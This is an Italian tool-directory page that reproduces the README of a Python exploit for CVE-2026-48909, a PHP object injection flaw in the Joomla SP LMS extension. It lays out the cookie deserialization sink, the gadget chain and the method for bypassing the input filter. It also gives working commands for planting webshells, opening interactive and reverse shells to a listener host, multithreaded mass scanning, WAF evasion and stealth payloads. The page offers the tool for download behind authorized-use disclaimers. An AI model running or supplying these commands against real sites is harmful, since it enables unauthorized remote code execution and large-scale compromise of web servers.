Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-48909-Joomla-SP-Exploit — CVE-2026-48909 - Exploit di iniezione di oggetti PHP non autenticata a RCE per l'estensione Joomla SP LMS versioni <= 4.1.3. Sfrutta la deserializzazione del cookie lmsOrders per scrivere una webshell tramite la catena di gadget Joomla FormattedtextLogger. Include shell interattiva, scoperta del percorso e pulizia. Solo per test di sicurezza autorizzati. | Kitploit
Strumenti/GitHubGitHub/cerberusmrxi/cve-2026-48909-joomla-sp-exploit
Analisi delle VulnerabilitàAnalisi del CodiceExploitShellcodeSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e FormazioneRed Teaming
Sviluppo Payload
Lab e Pratica
GitHubcerberusmrxi/cve-2026-48909-joomla-sp-exploit

CVE-2026-48909-Joomla-SP-Exploit

Vedi Repository
221 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

CVE-2026-48909 - Exploit di iniezione di oggetti PHP non autenticata a RCE per l'estensione Joomla SP LMS versioni <= 4.1.3. Sfrutta la deserializzazione del cookie lmsOrders per scrivere una webshell tramite la catena di gadget Joomla FormattedtextLogger. Include shell interattiva, scoperta del percorso e pulizia. Solo per test di sicurezza autorizzati.

Condividi

CVE-2026-48909

Joomla SP LMS — Iniezione di Oggetti PHP non Autenticata → RCE

Python Version CVSS License Platform

Strumento di valutazione proof-of-concept per CVE-2026-48909
Autore: Sudeepa Wanigarathna

joomla1

[!IMPORTANT] Uso autorizzato esclusivamente. Questo strumento è destinato a ricerca sulla sicurezza, formazione e test su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale. L'autore declina ogni responsabilità per un uso improprio.


Indice

  • Panoramica
  • Dettagli della Vulnerabilità
  • Caratteristiche
  • Installazione
  • Avvio Rapido
  • Guida all'Uso
  • Riferimento Comandi
  • Tipi di Payload
  • Catena di Attacco
  • Esempi di Output
  • Risoluzione dei Problemi
  • Struttura del Repository
  • Cronologia Versioni
  • Disclaimer
  • Autore

Panoramica

CVE-2026-48909 è una iniezione di oggetti PHP non autenticata critica nell'estensione Joomla SP LMS. Questo strumento implementa l'intera catena di attacco per consentire ai professionisti della sicurezza di convalidare l'impatto in ambienti di laboratorio o autorizzati.

Copre rilevamento, scoperta di percorsi, consegna del payload, post-sfruttamento interattivo (dove consentito), valutazione di massa e pulizia opzionale.


Dettagli della Vulnerabilità

AttributoValore
CVE IDCVE-2026-48909
CVSS9.5 (Critical)
Vettore d'AttaccoRete — non autenticato
ImpattoEsecuzione Remota di Codice
Prodotto AffettoJoomla SP LMS
Versioni Affette1.0.0 – 4.1.3
Versione CorrettaSP LMS 4.1.4+
Catena GadgetRichiede Joomla < 5.2.2

Matrice di Compatibilità

ComponenteVersioneRCE
SP LMS< 4.1.4Vulnerabile
SP LMS≥ 4.1.4Corretto
Joomla< 5.2.2Catena gadget utilizzabile
Joomla≥ 5.2.2Catena gadget corretta

Caratteristiche

Core

CapacitàDescrizione
Exploit non autenticatoNessuna credenziale richiesta
Payload multipli7 varianti di webshell/esecuzione
Shell interattivaSessione con cronologia comandi dopo il deploy
Scoperta percorsoSondaggio automatico del percorso scrivibile
PuliziaRimuovi webshell distribuita dopo i test

Valutazione & Operazioni

CapacitàDescrizione
Scansione di massaListe di target multi-thread (1000+)
Supporto proxyHTTP/SOCKS (Burp, ZAP, ecc.)
Reverse shellPayload basati su listener
Modalità stealthCanali di comando orientati a Header/POST
RandomizzazioneNomi shell UUID, rotazione User-Agent
ReportisticaEsporta come JSON, HTML o CSV
Assistenza al rilevamentoControlli versione Joomla, --check-only, --safe-mode

Note di Evasione

  • Evita i caratteri bloccati dal filtro cmd di Joomla dove possibile
  • Percorso di scrittura PHP codificato in hex per ridurre problemi di padding base64 / barre
  • Ritardi configurabili e rotazione degli User-Agent
  • Logica di retry su più candidati di iniezione/percorso

Installazione

Prerequisiti

  • Python 3.6+
  • pip
  • Raggiungibilità di rete al/i target sotto test

Configurazione

root@kitploit:~
cd exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 "CVE-2026-48909 v3.0.py" --help

Dipendenze

root@kitploit:~
requests>=2.31.0
urllib3>=2.0.0

argparse è incluso nella libreria standard di Python; non necessita di installazione tramite pip.


Avvio Rapido

Sostituisci https://target.example con un target di laboratorio o autorizzato esclusivamente.

Singolo target — scopri percorso + shell interattiva

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive

Controlli sicuri (nessuno sfruttamento)

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode

Scansione di massa

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html

Reverse shell (laboratorio autorizzato)

root@kitploit:~
# Listener
nc -lvnp 4444

# Exploit host
python3 "CVE-2026-48909 v3.0.py" https://target.example \
  --find-path \
  --shell-type reverse \
  --reverse-host 192.168.1.100 \
  --reverse-port 4444

Guida all'Uso

Scoperta del percorso

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path

Percorso scrivibile noto

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php

Sessione interattiva

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive

Comando singolo

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"

Payload stealth + interattivo

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive

Proxy (Burp / ZAP)

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example \
  --find-path --interactive \
  --proxy http://127.0.0.1:8080 \
  --insecure

Pulizia

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php

Formato lista target

root@kitploit:~
https://lab-a.example
https://lab-b.example
https://lab-c.example
root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json

Riferimento Comandi

Target

ArgomentoDescrizione
targetURL singolo target
--targets, -T FILEFile di target (un URL per riga)
--path PATHPercorso assoluto sul server per la webshell
--shell-type TYPEminimal, standard, stealth, base64, full, reverse, blindshell
--shell-name NAMENome file webshell (default: x.php)

Rete

ArgomentoDescrizione
--timeout SECONDSTimeout richiesta (default: 15)
--insecureSalta verifica certificato TLS
--proxy URLes. http://127.0.0.1:8080
--random-uaRuota User-Agent (abilitato per default)
--delay SECONDSRitardo tra le richieste

Reverse shell

ArgomentoDescrizione
--reverse-host HOSTHost listener
--reverse-port PORTPorta listener

Modalità

ArgomentoDescrizione
--interactive, -iShell interattiva dopo il deploy
--check-onlySolo controllo vulnerabilità
--safe-modeTest non distruttivi
--find-pathScopri automaticamente percorso scrivibile
--cmd COMMANDEsegui un comando ed esci
--cleanup PATHRimuovi webshell al percorso
--cleanup-afterPulizia dopo lo sfruttamento

Scansione di massa / report

ArgomentoDescrizione
--threads NUMThread di lavoro (default: 10)
--export FILEPercorso output per risultati
--export-format FORMATjson, html, csv (default: json)

Logging

ArgomentoDescrizione
--log-file FILEScrivi log su file
--quiet, -qModalità silenziosa
--verbose, -vOutput verbose
--no-bannerNascondi banner

Tipi di Payload

TipoComportamentoUtilizzo tipico
minimalEsecuzione GET compattaSpazio ridotto / test rapido
standardGET + POST cmd (default)Valutazioni generali
stealthComando tramite header X-CmdRiduci logging URL
base64eval(base64_decode(...)) via POSTLab di evasione filtri
fullGET/POST + canale base64Controllo più ampio
reverseShell di connessione di ritornoAccesso persistente in lab
blindshellPattern alternativo di inclusione/esecuzioneAmbienti vincolati
root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
  --reverse-host 10.0.0.1 --reverse-port 4444 --find-path

Catena di Attacco

root@kitploit:~
flowchart TD
    A["Attacker-controlled lmsOrders cookie"] --> B["unserialize() in cart.php"]
    B --> C["FormattedtextLogger::__destruct()"]
    C --> D["File::write() — PHP drop"]
    D --> E["Webshell on disk"]
    E --> F["Remote command execution"]

Riepilogo tecnico

  1. Sink — components/com_splms/models/cart.php unserializza un cookie lmsOrders decodificato in base64.
  2. Gadget — Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() attiva una scrittura su filesystem.
  3. Payload — Corpo PHP codificato in hex, padding di lunghezza per evitare caratteri base64 filtrati (/, =, +).
  4. Esecuzione — Lo script rilasciato viene chiamato per eseguire comandi del sistema operativo.

Bypass del filtro di input (alto livello)

Il filtro cmd di Joomla può rimuovere /, =, e +. Questo strumento compensa:

  • Codificando il contenuto da scrivere come hex
  • Padding delle forme serializzate/base64 per evitare caratteri illegali
  • Iterando candidati fino a produrre un payload sicuro per il filtro

Esempi di Output

Sessione interattiva

root@kitploit:~
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> whoami
www-data

shell> pwd
/var/www/html

shell> exit

Esportazione JSON (struttura)

root@kitploit:~
{
  "timestamp": "2026-07-16T10:30:00.123456",
  "target": "https://lab.example",
  "shell_path": "/tmp/x_abc123def.php",
  "shell_url": "https://lab.example/tmp/x_abc123def.php",
  "shell_type": "standard",
  "vulnerable": true,
  "exploited": true,
  "joomla_version": "4.3.2",
  "detected_paths": [
    "/tmp/x_abc123def.php",
    "/images/x_abc123def.php",
    "/cache/x_abc123def.php"
  ],
  "author": "Sudeepa Wanigarathna",
  "tool_version": "3.0"
}

Comando singolo

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"

Risoluzione dei Problemi

SintomoCosa provare
Impossibile generare payload sicuro per il filtroProva un --path diverso o --find-path; evita caratteri insoliti nel percorso
Verifica shell fallitaAumenta --timeout; prova --shell-type standard; verifica che system() o simili non siano disabilitati; controlla la scrivibilità
Il target non sembra vulnerabileSP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms presente; verifica blocchi WAF
HTTP 500--insecure, --timeout 30, controlla i log dell'applicazione/server
Connessione proxy rifiutataConferma che il proxy sia in ascolto; URL schema/host/porta corretti
Verifica TLS fallitaAggiungi --insecure per endpoint di laboratorio con certificati non validi

Flusso di debug

root@kitploit:~
# Verbose + log su file
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log

# Attraverso Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
  --proxy http://127.0.0.1:8080 --insecure -v

# Prima test non distruttivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode

Struttura del Repository

root@kitploit:~
exploit/
├── CVE-2026-48909 v3.0.py   # Strumento principale (v3.0)
├── requirements.txt         # Dipendenze Python
├── README.md                # Questo file
└── venv/                    # Virtualenv locale (opzionale, non committato)

Aggiunte opzionali per una versione pubblica:

root@kitploit:~
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh

Cronologia Versioni

v3.0.0 — Edizione Ultimate (Luglio 2026)

  • Scansione di massa con threading
  • Supporto proxy HTTP/SOCKS
  • Payload reverse shell
  • Helper per evasione WAF
  • Shell stealth interattiva
  • Opzioni di pulizia automatica
  • Reportistica JSON / HTML / CSV
  • Lista estesa di percorsi scrivibili
  • Assistenza al rilevamento versione Joomla
  • Modalità sicura e rotazione User-Agent
  • Ritardi richiesta configurabili

v2.1 — Edizione Professionale (Luglio 2026)

  • Correzioni generazione payload
  • Migliore gestione errori e logging

Disclaimer

Questo progetto è fornito così com'è per ricerca sulla sicurezza difensiva e test di penetrazione autorizzati.

Usando questo software accetti che:

  1. Prenderai di mira solo sistemi di tua proprietà o per i quali sei esplicitamente autorizzato a testare.
  2. Comprendi le leggi applicabili sull'abuso informatico e sulla protezione dei dati.
  3. L'autore e i contributori non sono responsabili per danni, perdita di dati o conseguenze legali derivanti da un uso improprio.

Se scopri questa vulnerabilità in ambienti reali, segui le pratiche di divulgazione responsabile e coordina con il vendor/CERT dove appropriato.


Autore

Sudeepa Wanigarathna
Ricercatore di sicurezza · Hacking etico · Ricerca di vulnerabilità · Strumenti Python


Supporto

  • Aggiungi una stella al repo se aiuta la tua ricerca
  • Apri issue per bug o falsi positivi
  • PR benvenuti per documentazione, accuratezza del rilevamento e UX per laboratori autorizzati

Solo per test di sicurezza autorizzati.

Scarica lo strumento